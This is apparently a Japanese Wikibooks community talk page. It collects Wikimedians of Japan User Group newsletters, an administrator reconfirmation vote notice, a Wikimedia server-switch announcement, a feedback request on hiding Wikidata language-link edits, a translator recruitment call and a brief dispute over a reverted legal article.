* [https://diff.wikimedia.org/ja/2026/07/27/%e5%9b%b3%e6%9b%b8%e9%a4%a8%e7%b7%8f%e5%90%88%e5%b1%95%e3%81%b8%e3%81%ae%e5%8f%82%e5%8a%a0/ 図書館総合展への参加] / VZP10224 (2026/07/27)
* [https://diff.wikimedia.org/ja/2026/07/27/%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%87%e3%83%bc%e3%82%bf%e5%8b%89%e5%bc%b7%e4%bc%9a%e3%82%92%e5%a7%8b%e3%82%81%e3%81%be%e3%81%97%e3%81%9f/ ウィキデータ勉強会を始めました] / Wadakuramon (2026/07/27) 
* [https://diff.wikimedia.org/ja/2026/07/29/%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e3%83%b3%e3%83%bb%e3%82%aa%e3%83%96%e3%83%bb%e3%82%b6%e3%83%bb%e3%82%a4%e3%83%a4%e3%83%bc2026%e5%8f%97%e8%b3%9e%e8%80%85%e3%81%ab/ ウィキメディアン・オブ・ザ・イヤー2026受賞者に会おう!] / Wikimedia Foundation ; Wadakuramon (2026/07/29)

'''前回配信：2026年6月30日'''

&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
配信元： ''[[:m:Wikimedians of Japan User Group|Wikimedians of Japan User Group]]''&lt;br /&gt;
&lt;small&gt;[[:m:Talk:Wikimedians of Japan User Group/メールマガジン|フィードバック]]。[[:m:Wikimedians of Japan User Group/メールマガジン/targets list| 登録・削除]]。&lt;/small&gt;2026年7月31日 (金) 13:55 (UTC)
&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
&lt;!-- User:Chqaz-WMJPUG@metawiki が https://meta.wikimedia.org/w/index.php?title=Wikimedians_of_Japan_User_Group/%E3%83%A1%E3%83%BC%E3%83%AB%E3%83%9E%E3%82%AC%E3%82%B8%E3%83%B3/targets_list&amp;oldid=30828137 のリストを使用して送信したメッセージ --&gt;

== 管理者の再信任のための「定期的な投票」実施について（2026年） ==

皆さん、こんにちは。このたび、[[Wikibooks:管理者の辞任#管理者の再信任投票]]に基づく2026年9月末で任期末を迎える現管理者2名の再信任のための「定期的な投票」を実施したく存じます。そこで当コミュニティの事前告知期間も踏まえ2週間後の2026年9月5日（予定）に投票ページとして「[[Wikibooks:管理者への立候補/再信任投票 202609]]」を作成いたします。そこから2週間（336時間）の投票期間を設けたいと存じます。なお、管理者の一人である {{admin|Kanjy}} さんは、2年以上、編集も権限行使もないため、この再信任投票開始の時点までに活動がない場合には[[Wikibooks:管理者の辞任#自動退任について|方針に基づき自動退任]]となります。以上につきまして何かコメントなどございましたらお寄せください。それでは何卒よろしくお願いいたします。--[[利用者:Shokupan|Shokupan]] ([[利用者・トーク:Shokupan|トーク]]) 2026年8月22日 (土) 02:12 (UTC)
:{{コメント2|報告}} 事前告知のとおり、[[Wikibooks:管理者への立候補/再信任投票 202609|管理者の再信任投票ページ]]を作成いたしましたので、ご報告いたします。--[[利用者:Shokupan|Shokupan]] ([[利用者・トーク:Shokupan|トーク]]) 2026年9月5日 (土) 02:33 (UTC)

== Wikimedians of Japan User Group 2026-8 ==

'''全体ニュース'''
* 提携団体の新規認定の一時停止は[[:m:Affiliations_Committee/Extension_of_the_pause_on_new_affiliate_recognition|延長]]されます。
* [[:m:Users_with_Extended_Rights_Conference_2026|拡張権限保持者カンファレンス2026]]の申込みは9月4日までです。

'''ESEAPハブからのおしらせ'''[[File:ESEAP_logo_horizontal.svg|40px|link=:m:ESEAP_Hub/ja]]
* 9月6日15時(JST)から[[:m:Event:ESEAP_Community_Call_61_(6_September_2026)|オンラインミーティング]]が行われます。

'''Wikimedians of Japan User Groupからのおしらせ'''[[File:Wikimedians of Japan User Group Logoonly.svg|20px|link=:m:Wikimedians_of_Japan_User_Group]]
* Wikimaniaに関する[[:m:Wikimedians_of_Japan_User_Group/Release_20260823|声明]]を発表しました。
* 9月11日から13日にかけて[https://peatix.com/event/5119488 日韓ウィキメディアン交流イベントin唐津・太宰府]をウィキメディア韓国と共同で開催します。

'''[[:w:ja:メインページ|日本語版ウィキペディア]]'''[[File:Wikipedia-logo-v2.svg|20px|link=:w:ja:]]
* 今月は以下の記事が[[:w:ja:Wikipedia:良質な記事/良質な記事の選考|良質な記事の選考]]を通過しました。
**[[:w:ja:高輪消防署二本榎出張所|高輪消防署二本榎出張所]]
**[[:w:ja:柳川一件|柳川一件]]
**[[:w:ja:第1回十字軍|第1回十字軍]]
**[[:w:ja:易 (占い)|易 (占い)]]
**[[:w:ja:1960年桑絹村長選挙|1960年桑絹村長選挙]]
**[[:w:ja:カリホルニウム|カリホルニウム]]
**[[:w:ja:力学系|力学系]]
**[[:w:ja:松岡寺|松岡寺]]
**[[:w:ja:象と鯨図屏風|象と鯨図屏風]]
**[[:w:ja:オルペウス|オルペウス]]
**[[:w:ja:ナースィル・アッダウラ|ナースィル・アッダウラ]]
**[[:w:ja:探検部|探検部]]
**[[:w:ja:豚肉食のタブー|豚肉食のタブー]]
**[[:w:ja:リズム・アンド・ブルース|リズム・アンド・ブルース]]
**[[:w:ja:リカンカブール山|リカンカブール山]]
**[[:w:ja:膣|膣]]
**[[:w:ja:歌舞伎町の歴史|歌舞伎町の歴史]]
**[[:w:ja:眠り猫|眠り猫]]
**[[:w:ja:ボリソフ彗星 (2I/Borisov)|ボリソフ彗星 (2I/Borisov)]]
**[[:w:ja:ワースィク|ワースィク]]
**[[:w:ja:道の駅もてぎ|道の駅もてぎ]]
**[[:w:ja:弘田由己子|弘田由己子]]
**[[:w:ja:エクリプス (競走馬)|エクリプス (競走馬)]]

* 今月の1枚
[[File:TH2113_Hamanako-Sakume-STA.jpg|alt=|thumb|200x200px||none]]

'''9月のオフラインイベント情報'''
* 9/21 [https://edit-tango.webnode.jp/イベント/ ウィキペディアにゃウンvol.9 part.2 丹後のものづくり]

'''前回配信：2026年7月31日'''

&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
配信元： ''[[:m:Wikimedians of Japan User Group|Wikimedians of Japan User Group]]''&lt;br /&gt;
&lt;small&gt;[[:m:Talk:Wikimedians of Japan User Group/メールマガジン|フィードバック]]。[[:m:Wikimedians of Japan User Group/メールマガジン/targets list| 登録・削除]]。&lt;/small&gt;2026年8月31日 (月) 13:08 (UTC)
&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
&lt;!-- User:Chqaz-WMJPUG@metawiki が https://meta.wikimedia.org/w/index.php?title=Wikimedians_of_Japan_User_Group/%E3%83%A1%E3%83%BC%E3%83%AB%E3%83%9E%E3%82%AC%E3%82%B8%E3%83%B3/targets_list&amp;oldid=30828137 のリストを使用して送信したメッセージ --&gt;

== サーバー切り替え - ご利用のウィキは間もなく短時間読み取り専用に切り替わります ==
&lt;section begin=&quot;server-switch&quot;/&gt;&lt;div class=&quot;plainlinks&quot;&gt;

[[:m:Special:MyLanguage/Tech/Server switch|他の言語で読む]] • [https://meta.wikimedia.org/w/index.php?title=Special:Translate&amp;group=page-Tech%2FServer+switch&amp;language=&amp;action=page&amp;filter= {{int:please-translate}}]

[[foundation:|ウィキメディア財団]]ではデータセンター間でのトラフィックの切り替えを行います。 災害が起こった場合でも、ウィキペディアとその他のウィキメディア・ウィキが確実にオンラインとなるようにするための措置です。

全トラフィックの切り替えは'''{{#time:n月j日|2026-09-23|ja}}'''に行います。 テストは '''[https://zonestamp.toolforge.org/{{#time:U|2026-09-23T14:00|en}} {{#time:H:i e|2026-09-23T14:00}}]''' に開始されます。

残念ながら [[mw:Special:MyLanguage/Manual:What is MediaWiki?|MediaWiki]] の技術的制約により、切り替え作業中はすべての編集を停止する必要があります。 ご不便をおかけすることをお詫びするとともに、将来的にはそれが最小限にとどめられるよう努めます。 

作業開始の30分前から、すべてのウィキで画面にバナーを表示する予定です。 このバナーはメンテナンス作業の終了まで表示されます。 
バナーテキストの[https://meta.wikimedia.org/w/index.php?title=Special%3ATranslate&amp;group=Centralnotice-tgroup-read_only_banner&amp;task=view&amp;language=&amp;filter=&amp;action=translate 翻訳や校正]にご協力ください、

'''閲覧は可能ですが、すべてのウィキにおいて編集ができないタイミングが短時間あります。'''

* {{#time:Y年n月j日(l)|2026-09-23|ja}}には、最大1時間ほど編集できない時間が発生します。
* この間に編集や保存を行おうとした場合、エラーメッセージが表示されます。 その間に行われた編集が失われないようには努めますが、保証することはできません。 エラーメッセージが表示された場合、通常状態に復帰するまでお待ちください。 その後、編集の保存が可能となっているはずです。 しかし念のため、保存ボタンを押す前に、行った変更のコピーをとっておくことをお勧めします。

''その他の影響'':

* バックグラウンドジョブが遅くなり、場合によっては失われることもあります。 赤リンクの更新が通常時よりも遅くなる場合があります。 特に他のページからリンクされているページを作成した場合、そのページは通常よりも「赤リンク」状態が長くなる場合があります。 長時間にわたって実行されるスクリプトは、停止しなければなりません。
* コードの実装は通常の週と同様に行う見込みです。 しかしながら、作業上の必要性に合わせ、ケースバイケースでいずれかのコードフリーズが計画時間に発生することもあります。
* [[mw:Special:MyLanguage/GitLab|GitLab]]は90分ほどの間に利用不可になります。

必要に応じてこの計画は延期されることがあります。 [[wikitech:Switch_Datacenter|wikitech.wikimedia.orgで工程表を見られます]]。 変更はすべて工程表で発表しますので、ご参照ください。 

'''この情報を皆さんのコミュニティで共有してください。'''&lt;/div&gt;&lt;section end=&quot;server-switch&quot;/&gt;

[[m:user:Trizek (WMF)|Trizek (WMF)]] 2026年9月15日 (火) 12:58 (UTC)
&lt;!-- User:Trizek (WMF)@metawiki が https://meta.wikimedia.org/w/index.php?title=Distribution_list/Non-Technical_Village_Pumps_distribution_list&amp;oldid=30513874 のリストを使用して送信したメッセージ --&gt;

== Your feedback wanted: Remove ''(Language link added:) and similar'' edits from Special:RecentChanges ==
''(Apologies for posting in English. You can help by translating it)''

Hello, I’m Danny from [[:en:w:Wikimedia_Deutschland|Wikimedia Deutschland’s]] [[m:Wikidata_For_Wikimedia_Projects|Wikidata For Wikimedia Projects]] team.&lt;br/&gt;
We have been investigating and examining how Wikidata’s use in the [[Special:RecentChanges]] and [[Special:Watchlist]] pages can be made to be more useful, or less ‘noisy’ (fewer edits that have little value to the reader).

We are currently exploring to make a change in the volume and the type of Wikidata edits that appear in these pages, and '''we need your feedback''' to help us ensure this is a positive change for the Wikis and won’t disrupt your workflows.&lt;br/&gt;
Language links are also known as sitelinks or interlanguage links and describe when a Wikidata item is connected to a Wiki, adding it to the language dropdown tool for other connected Wikis.
[[File:Types of Lang Link changes.png|x350px|frame|A variety of &quot;Language Link&quot; edits as seen in the Recent Changes feed]]

The request for feedback is whether you support the removal of these language link edits from the Recent Changes and Watchlist feed, or would you oppose such a change and if so, why?
Please share you thoughts on the dedicated '''[[m:Talk:Wikidata_For_Wikimedia_Projects/Clearer_Wikidata_Edit_Summaries/Hide_Language_Link_edits|metawiki Talk page]]'''. 

Further information about this change: [[m:Wikidata_For_Wikimedia_Projects/Clearer_Wikidata_Edit_Summaries/Hide_Language_Link_edits|m:Wikidata_For_Wikimedia_Projects/Hide_Language_Link_edits]]

Thank you for any participation or feedback you give, -- [[m:User:Danny_Benjafield_(WMDE)|User:Danny Benjafield (WMDE)]] 2026年9月25日 (金) 11:46 (UTC)
&lt;!-- User:Danny Benjafield (WMDE)@metawiki が https://meta.wikimedia.org/w/index.php?title=User:Danny_Benjafield_(WMDE)/MassMessage_test_list&amp;oldid=31080832 のリストを使用して送信したメッセージ --&gt;

== ESEAP翻訳者の募集 ==
ESEAP(東アジア・東南アジア・大洋州)地域における多言語コミュニケーションの促進とコミュニティへの参加意欲を高めるため、ESEAPハブでは、[[meta:ESEAP Hub/Activity/Community Translator Service|コミュニティ翻訳者プログラム]]への参加を希望する有能な人材を募集しています。
現在、以下の分野で日本語を話せる方を募集しています。

* 翻訳（文章）
* 通訳（ライブイベント／会議）

応募方法：応募は随時受け付けています。「コミュニティ翻訳者応募フォーム」より、必要事項をご記入の上、ご提出ください。[https://docs.google.com/forms/d/e/1FAIpQLScRlsOfpim2RxU1vBJZmK5UQm8elxUw6zS9vegzLDR78paVPQ/viewform 応募フォーム]
今後必要となるスキルをお持ちの候補者の方には、こちらからご連絡させていただきます。ご質問がございましたら、contact@eseap.org までお気軽にお問い合わせください。--[[利用者:VZP10224(WjpUG)|VZP10224(WjpUG)]] ([[利用者・トーク:VZP10224(WjpUG)|トーク]]) 2026年9月27日 (日) 06:00 (UTC)

== Wikimedians of Japan User Group 2026-9 ==
'''全体ニュース'''
* 来年、チリのサンティアゴで開催されるWikimania 2027の[[:wikimania:2027:Scholarships/ja|参加費用補助の申請]]は10月31日までです。

'''ESEAPハブからのおしらせ'''[[File:ESEAP logo horizontal.svg|40px|link=:m:ESEAP_Hub/ja]]
* 10月3日15時(JST)から[[:m:Event:ESEAP_Community_Call_62_(3_October_2026)|オンラインミーティング]]が行われます。

'''Wikimedians of Japan User Groupからのおしらせ'''[[File:Wikimedians of Japan User Group Logoonly.svg|20px|link=:m:Wikimedians_of_Japan_User_Group]]
* 10月20日から22日まで開催される図書館総合展に[[:w:ja:プロジェクト:アウトリーチ/ウィキメディア・ワールド2026|ウィキメディア・ワールド 2026]]と題して出展します。
* 上記イベントに関連して10月31日から11月13日にかけて[[:w:ja:Event:鎌倉エディタソン|オンライン鎌倉エディタソン]]を、10月18日に[[:w:ja:Event:オフライン鎌倉エディタソン|オフラインエディタソン]]を開催します。
* 10月17日に開催される[https://event.ospn.jp/osc2026-fall/ OSC東京]に参加します。
* ESEAPハブからの[[:m:Wikimedians_of_Japan_User_Group/Notice_20260929-1|翻訳者/通訳者募集のお知らせ]]を掲載しました。 
* [[:m:Wikimedians_of_Japan_User_Group/Notice_20260929-2|Wiki Loves Peace開催のお知らせ]]を掲載しました。

'''[[:w:ja:メインページ|日本語版ウィキペディア]]'''[[File:Wikipedia-logo-v2.svg|20px|link=:w:ja:]]
* 今月は以下の記事が[[:w:ja:Wikipedia:良質な記事/良質な記事の選考|良質な記事の選考]]を通過しました。
** [[:w:ja:名古屋におけるシュルレアリスム|名古屋におけるシュルレアリスム]]
** [[:w:ja:ブルーベリー銀河|ブルーベリー銀河]]
** [[:w:ja:足利直義|足利直義]]
** [[:w:ja:束帯|束帯]]
** [[:w:ja:ウトゥルンク|ウトゥルンク]]
** [[:w:ja:トスティ・ゴドウィンソン|トスティ・ゴドウィンソン]]
** [[:w:ja:琵琶湖若狭湾快速鉄道|琵琶湖若狭湾快速鉄道]]
** [[:w:ja:ダークエネルギーサーベイ|ダークエネルギーサーベイ]]
** [[:w:ja:十島村 (鹿児島県大島郡1946年)|十島村 (鹿児島県大島郡1946年)]]
** [[:w:ja:フォーマルハウト|フォーマルハウト]]
** [[:w:ja:列女伝|列女伝]]
** [[:w:ja:倚子|倚子]]
** [[:w:ja:エルフガー (マーシア伯)|エルフガー (マーシア伯)]]
** [[:w:ja:南鳥島事件|南鳥島事件]]
** [[:w:ja:直腸|直腸]]
** [[:w:ja:ラプラス変換|ラプラス変換]]
** [[:w:ja:進駐軍クラブ|進駐軍クラブ]]
** [[:w:ja:ロシアの歴史|ロシアの歴史]]
** [[:w:ja:筑紫箏|筑紫箏]]
** [[:w:ja:COROT|COROT]]

* 今月の1枚
[[File:Shin_Yamabiko_bridge_and_Kurobe_Torokko_railway.jpg|alt=|thumb|200x200px|[[:w:ja:山彦橋|山彦橋]]を渡る[[:w:ja:黒部峡谷鉄道|黒部峡谷鉄道]]のトロッコ電車|none]]

'''10月のイベント情報'''
* 10/3 [https://edit-tango.webnode.jp/イベント/ 丹後古墳ウォーカーvol.2 網野銚子山古墳フェス＆ロー鉄サミット]
* 10/4 [https://www.siofest.com/event/Wikipedia_bungaku Wikipediaブンガク鎌倉詩人 vol.2]
* 10/12 [https://www.city.natori.miyagi.jp/page/46132.html ウィキペディアタウン in 名取]
* 10/31 [https://www.lib.city-hokuto.ed.jp/mukawa/event-info/126/ ウィキペディアタウン＠北杜 in 武川町]

'''[[:wmfblog:|Diff]]'''
タイトル / 著者；翻訳者 (掲載日) の順で記載しています。
* [https://diff.wikimedia.org/ja/2026/07/31/%e3%82%b7%e3%83%b3%e3%83%9d%e3%82%b8%e3%82%a6%e3%83%a0%e3%80%8c%e3%83%87%e3%82%b8%e3%82%bf%e3%83%ab%e3%82%a2%e3%83%bc%e3%82%ab%e3%82%a4%e3%83%96%e6%8e%a8%e9%80%b2%e5%9f%ba%e6%9c%ac%e6%b3%95%e3%81%ae/ シンポジウム「デジタルアーカイブ推進基本法の実現に向けて」参加記録] / Ga2by (2026/07/31)
* [https://diff.wikimedia.org/ja/2026/08/05/notebooklm%e3%81%af%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%9a%e3%83%87%e3%82%a3%e3%82%a2%e3%81%ae%e5%9f%b7%e7%ad%86%e3%82%b5%e3%83%9d%e3%83%bc%e3%83%88%e3%81%ab%e4%bd%bf%e3%81%88%e3%82%8b%e3%81%ae%e3%81%8b/ NotebookLMはウィキペディアの執筆サポートに使えるのか？] / Lin Xiangru (2026/08/05)
* [https://diff.wikimedia.org/ja/2026/08/13/eseap%e3%82%ab%e3%83%b3%e3%83%95%e3%82%a1%e3%83%ac%e3%83%b3%e3%82%b92026%e5%8f%82%e5%8a%a0%e8%80%85%e7%b5%8c%e9%a8%93%e8%ab%87%ef%bc%88%e5%89%8d%e7%b7%a8%ef%bc%89/ ESEAPカンファレンス2026参加者経験談（前編）] / Wadakuramon (2026/08/13)
* [https://diff.wikimedia.org/ja/2026/08/17/eseap%e3%82%ab%e3%83%b3%e3%83%95%e3%82%a1%e3%83%ac%e3%83%b3%e3%82%b92026%e5%8f%82%e5%8a%a0%e8%80%85%e7%b5%8c%e9%a8%93%e8%ab%87%ef%bc%88%e5%be%8c%e7%b7%a8%ef%bc%89/ ESEAPカンファレンス2026参加者経験談（後編）] / Wadakuramon (2026/08/17)
* [https://diff.wikimedia.org/ja/2026/08/19/ai%e3%81%8c%e7%9f%a5%e8%ad%98%e3%82%92%e5%89%b5%e3%82%8b%ef%bc%9f%e2%80%95llm-wiki%e3%81%a8%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e3%83%b3%e3%83%bb%e3%83%a0%e3%83%bc%e3%83%96/ AIが知識を創る？―LLM Wikiとウィキメディアン・ムーブメントに関する考察] / Ga2by (2026/08/19)
* [https://diff.wikimedia.org/ja/2026/08/19/%e6%ac%a1%e3%80%85%e3%81%ab%e3%81%a4%e3%81%aa%e3%81%8c%e3%81%a3%e3%81%a6%e3%81%84%e3%81%8f%e8%97%a9-%e5%b7%9d%e8%b6%8a%e8%97%a9%e3%81%a8%e4%bd%90%e5%80%89%e8%97%a9%e3%81%ae%e3%81%8a%e3%81%af/ 次々につながっていく藩 – 川越藩と佐倉藩のおはなし] / Lin Xiangru (2026/08/19)
* [https://diff.wikimedia.org/ja/2026/08/20/%e8%a3%9c%e5%8a%a9%e9%87%91%e6%94%af%e7%b5%a6%e6%88%a6%e7%95%a5%e3%81%ae%e8%8d%89%e6%a1%88%e3%80%81-grdc%e3%82%88%e3%82%8a%e5%8d%94%e8%ad%b0%e3%82%92%e5%91%bc%e3%81%b3%e3%81%8b%e3%81%91/ 補助金支給戦略の草案、 GRDCより協議を呼びかけ] / Lajmmoore, Mervat ; Omotecho (2026/08/20)
* [https://diff.wikimedia.org/ja/2026/08/30/%e6%b8%8b%e6%b2%a2%e6%95%ac%e4%b8%89%e3%81%a8%e9%9b%86%e5%90%88%e7%9f%a5%ef%bc%9a%e6%97%a5%e6%9c%ac%e5%b8%b8%e6%b0%91%e6%96%87%e5%8c%96%e7%a0%94%e7%a9%b6%e6%89%80%e3%82%a8%e3%83%87%e3%82%a3%e3%82%bf/ 渋沢敬三と集合知：日本常民文化研究所エディタソン参加記] / Wadakuramon (2026/08/30)
* [https://diff.wikimedia.org/ja/2026/09/01/%f0%9f%8c%b8%e3%81%95%e3%81%8f%e3%82%89%e3%83%bb%e3%82%b5%e3%82%af%f0%9f%8c%b8%e4%bd%90%e5%80%89%e5%9f%8e%e4%b8%8b%e7%94%ba%e3%83%bb%e5%8f%96%e6%9d%90%e6%97%85%e8%a1%8c/ 🌸さくら・サク🌸佐倉城下町・取材旅行] / Lin Xiangru (2026/09/01)
* [https://diff.wikimedia.org/ja/2026/09/01/%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%87%e3%83%bc%e3%82%bf%e3%81%ae%e7%ac%ac2%e5%9b%9e%e5%8b%89%e5%bc%b7%e4%bc%9a%e3%82%92%e8%a1%8c%e3%81%84%e3%81%be%e3%81%97%e3%81%9f/ ウィキデータの第2回勉強会を行いました] / Pusf.smbd (2026/09/01)
* [https://diff.wikimedia.org/ja/2026/09/03/japan-wikimedia-conference-2026-%e3%81%ae%e7%99%ba%e8%a1%a8%e8%80%85%e5%8b%9f%e9%9b%86%e4%b8%ad%ef%bc%81/ Japan Wikimedia Conference 2026 の発表者募集中！] / Wadakuramon (2026/09/03)
* [https://diff.wikimedia.org/ja/2026/09/06/%e8%ad%98%e5%88%a5%e5%ad%90%e3%81%af%e6%a4%9c%e8%a8%bc%e3%81%95%e3%82%8c%e3%80%81%e3%83%87%e3%83%bc%e3%82%bf%e3%81%af%e6%94%be%e7%bd%ae%e3%81%95%e3%82%8c%e3%82%8b-%e2%80%95%e5%8c%96%e5%ad%a6%e7%89%a9/ 識別子は検証され、データは放置される? ―化学物質をめぐる Wikipedia と Wikidata の温度差] / Lin Xiangru (2026/09/06)
* [https://diff.wikimedia.org/ja/2026/09/10/%e5%9c%b0%e5%85%83%e3%81%ae%e8%a9%b1%e3%82%92%e6%ae%8b%e3%81%99-%e3%82%a6%e3%82%a3%e3%82%ad%e6%9d%91%e3%83%bb%e6%b1%9f%e6%99%af%e3%80%81%e3%82%a4%e3%83%99%e3%83%b3%e3%83%88%e7%b7%a8/ 地元の話を残す——ウィキ村・江景、イベント編] / Aspere, Wikimedia Korea (2026/09/10)
* [https://diff.wikimedia.org/ja/2026/09/11/%e5%9c%b0%e5%9f%9f%e3%82%92%e3%81%95%e3%81%8c%e3%81%97%e3%81%a6-%e3%82%a6%e3%82%a3%e3%82%ad%e6%9d%91%e3%83%bb%e6%b1%9f%e6%99%af%e3%80%81%e9%81%8b%e5%96%b6%e7%b7%a8/ 地域をさがして——ウィキ村・江景、運営編] / Aspere, Wikimedia Korea (2026/09/11)
* [https://diff.wikimedia.org/ja/2026/09/11/%e5%85%b8%e6%8b%a0%e3%83%87%e3%83%bc%e3%82%bf%e3%82%82%e3%82%b3%e3%83%a2%e3%83%b3%e3%82%ba%e3%82%82%e3%80%81%e3%82%a4%e3%83%99%e3%83%b3%e3%83%88%e3%81%ae%e3%83%aa%e3%83%b3%e3%82%af%e9%9b%86%e3%81%a8/ 典拠データもコモンズも、イベントのリンク集としてまとめちゃえ！] / Lin Xiangru (2026/09/11)
* [https://diff.wikimedia.org/ja/2026/09/12/%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e7%b7%a8%e9%9b%86%e8%a8%98%e9%8c%b2-%e5%b2%a9%e8%88%b9%e5%9c%b0%e8%94%b5%e5%a0%82-%e9%8e%8c%e5%80%89%e5%b8%82%e3%80%80%e3%80%9c/ ウィキメディア編集記録: 岩船地蔵堂 (鎌倉市)　〜鎌倉エディタソンに向けて] / Twkz0731 (2026/09/12)
* [https://diff.wikimedia.org/ja/2026/09/12/%e3%82%b3%e3%83%9f%e3%83%a5%e3%83%8b%e3%83%86%e3%82%a3%e3%82%92%e8%82%b2%e3%81%a6%e3%82%8b%ef%bc%9acode4lib-japan-2026%e5%8f%82%e5%8a%a0%e8%a8%98/ コミュニティを育てる：Code4Lib Japan 2026参加記] / Wadakuramon (2026/09/12)
* [https://diff.wikimedia.org/ja/2026/09/13/%e5%9c%b0%e5%9f%9f%e3%81%ae%e3%83%9c%e3%83%a9%e3%83%b3%e3%83%86%e3%82%a3%e3%82%a2%e4%bd%93%e9%a8%93%e3%82%92%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e3%83%b3%e3%83%bb%e3%83%a0/ 地域のボランティア体験をウィキメディアン・ムーブメントにつなげる—富良野での体験記] / Ga2by (2026/09/13)
* [https://diff.wikimedia.org/ja/2026/09/16/%e5%b0%8f%e3%81%95%e3%81%aa%e3%82%a4%e3%83%99%e3%83%b3%e3%83%88%e3%81%a7%e3%82%82bot%e3%81%af%e5%bd%b9%e3%81%ab%e7%ab%8b%e3%81%a4-%e2%80%95-%e3%83%97%e3%83%ad%e3%82%b0%e3%83%a9%e3%83%9f%e3%83%b3/ 小さなイベントでもBotは役に立つ ― プログラミング初心者による Bot 活用記] / Lin Xiangru (2026/09/16)
* [https://diff.wikimedia.org/ja/2026/09/17/%e6%97%a5%e9%9f%93%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e3%83%b3%e4%ba%a4%e6%b5%81%e3%82%a4%e3%83%99%e3%83%b3%e3%83%88-in-%e5%94%90%e6%b4%a5-%e3%82%92%e9%96%8b%e5%82%ac/ 日韓ウィキメディアン交流イベント in 唐津 を開催しました] / Lin Xiangru (2026/09/17)
* [https://diff.wikimedia.org/ja/2026/09/19/%e5%94%90%e6%b4%a5-%e4%b9%9d%e5%b7%9e%e3%81%ae%e8%ad%9c%e4%bb%a3%e5%a4%a7%e5%90%8d%e3%81%ae%e5%9c%b0%e3%80%81%e3%81%9d%e3%81%97%e3%81%a6%e9%9f%93%e5%9b%bd%e3%81%a8%e3%81%ae%e7%b8%81/ 唐津 – 九州の譜代大名の地、そして韓国との縁] / Lin Xiangru (2026/09/19)
* [https://diff.wikimedia.org/ja/2026/09/19/%e5%90%8d%e8%ad%b7%e5%b1%8b%e5%9f%8e%e5%9d%80%e3%81%8b%e3%82%89%e9%9f%93%e5%9b%bd%e3%82%92%e6%9c%9b%e3%82%80%ef%bc%9a%e6%97%a5%e9%9f%93%e3%82%a8%e3%83%87%e3%82%a3%e3%82%bf%e3%82%bd%e3%83%b3in%e5%94%90/ 名護屋城址から韓国を望む：日韓エディタソンin唐津参加記] / Wadakuramon (2026/09/19)
* [https://diff.wikimedia.org/ja/2026/09/22/%e3%82%ab%e3%83%bc%e3%82%bd%e3%83%ab%e3%82%92%e4%bd%bf%e3%82%8f%e3%81%9a%e3%81%abwikipedia%e3%82%92%e7%b7%a8%e9%9b%86%e3%81%97%e3%81%9f%e3%81%84/ カーソルを使わずにWikipediaを編集したい] / Ga2by (2026/09/22)
* [https://diff.wikimedia.org/ja/2026/09/24/%e3%80%8c%e3%81%a9%e3%81%86%e3%81%ab%e3%81%8b%e3%81%aa%e3%82%8b%e3%80%8d%e3%80%81%e3%81%a8%e3%81%84%e3%81%86%e3%82%88%e3%82%8a%e3%80%8c%e3%81%a9%e3%81%86%e3%81%ab%e3%81%8b%e3%81%99%e3%82%8b%e3%80%8d/ 「どうにかなる」、というより「どうにかする」- 編集履歴は何を伝えるか] / Lin Xiangru (2026/09/24)
* [https://diff.wikimedia.org/ja/2026/09/29/wikimania-2026-%e5%8f%82%e5%8a%a0%e3%83%ac%e3%83%9d%e3%83%bc%e3%83%88%e2%91%a0-%e3%81%8d%e3%81%a3%e3%81%8b%e3%81%91%e3%81%a8%e4%ba%ac%e4%b8%b9%e5%be%8c%e3%82%a4%e3%83%99%e3%83%b3%e3%83%88/ Wikimania 2026 参加レポート① – きっかけと京丹後イベント] / Lin Xiangru (2026/09/29)
* [https://diff.wikimedia.org/ja/2026/09/29/%e8%8b%a5%e8%80%85%e3%81%9f%e3%81%a1%e3%81%ae%e3%83%91%e3%83%8d%e3%83%ab%e3%81%a8%e9%8e%8c%e5%80%89%e3%82%a8%e3%83%87%e3%82%a3%e3%82%bf%e3%82%bd%e3%83%b3%ef%bc%9a%e5%9b%b3%e6%9b%b8%e9%a4%a8%e7%b7%8f/ 若者たちのパネルと鎌倉エディタソン：図書館総合展2026での挑戦] / Wadakuramon (2026/09/29)

'''前回配信：2026年8月31日'''

&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
配信元： ''[[:m:Wikimedians of Japan User Group|Wikimedians of Japan User Group]]''&lt;br /&gt;
&lt;small&gt;[[:m:Talk:Wikimedians of Japan User Group/メールマガジン|フィードバック]]。[[:m:Wikimedians of Japan User Group/メールマガジン/targets list| 登録・削除]]。&lt;/small&gt;2026年9月30日 (水) 09:59 (UTC)
&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
&lt;!-- User:Chqaz-WMJPUG@metawiki が https://meta.wikimedia.org/w/index.php?title=Wikimedians_of_Japan_User_Group/%E3%83%A1%E3%83%BC%E3%83%AB%E3%83%9E%E3%82%AC%E3%82%B8%E3%83%B3/targets_list&amp;oldid=31038046 のリストを使用して送信したメッセージ --&gt;

== 「判例」の該当性について ==
[[行政事件訴訟法第37条の5]]において、[[User:Tomzo]]により掲載基準の押し付けによるrvvが行われています。

本案訴訟では問題にならない条文に関する「判例」は、判例集には載らないでしょう。--[[特別:投稿記録/~2026-52525-81|~2026-52525-81]] ([[利用者・トーク:~2026-52525-81|トーク]]) 2026年10月1日 (木) 03:51 (UTC)

加えて、Wikipediaの方針やガイドラインをそのままWikibooksに持ち込んで独自の理論を提唱してきて迷惑極まりないです。--[[特別:投稿記録/~2026-52525-81|~2026-52525-81]] ([[利用者・トーク:~2026-52525-81|トーク]]) 2026年10月1日 (木) 03:54 (UTC)

